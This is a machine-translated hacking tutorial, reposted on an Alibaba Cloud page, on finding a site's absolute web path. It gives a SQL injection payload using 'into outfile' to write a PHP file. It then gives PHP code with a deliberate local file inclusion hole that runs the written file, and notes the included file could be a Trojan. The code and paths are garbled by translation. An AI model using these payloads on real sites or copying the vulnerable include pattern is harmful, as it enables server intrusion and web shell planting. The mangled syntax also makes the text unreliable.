Obtain the absolute web path

Source: Internet
Author: User

Author: Leng yuedu cloud
Thank you for your article. First, assume that our website has the SQL injection vulnerability and a local Inclusion Vulnerability!
Magic_quotes_gpc = off in PHP. INI
We reinjected the point and determined it was the ROOT permission!
Www.lengyueduyun.com/index.php? Id = 2 union select 1, 2, 3, 4, where <? Phpinfo ();?> Hexadecimal conversion, 5, 6 into outfile D: \ duyun \ 1.php;
In this way, the 1.php content is <? Phpinfo ();?> Sorry! The following code contains the vulnerability! Save as index. php ~ You don't have to follow me ~ I'm just making assumptions.
<? Php
$ Fuck = $ _ GET ["fuck"];
If ($ fuck ){
Include $ _ GET ["fuck"];
}
?>
Enter www.lengyueduyun.com/index.php in the following browser? Fuck = D: duyun1.php
In this way, you can see the path of the WEB.
In addition, the contained files can be a Trojan horse ..

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.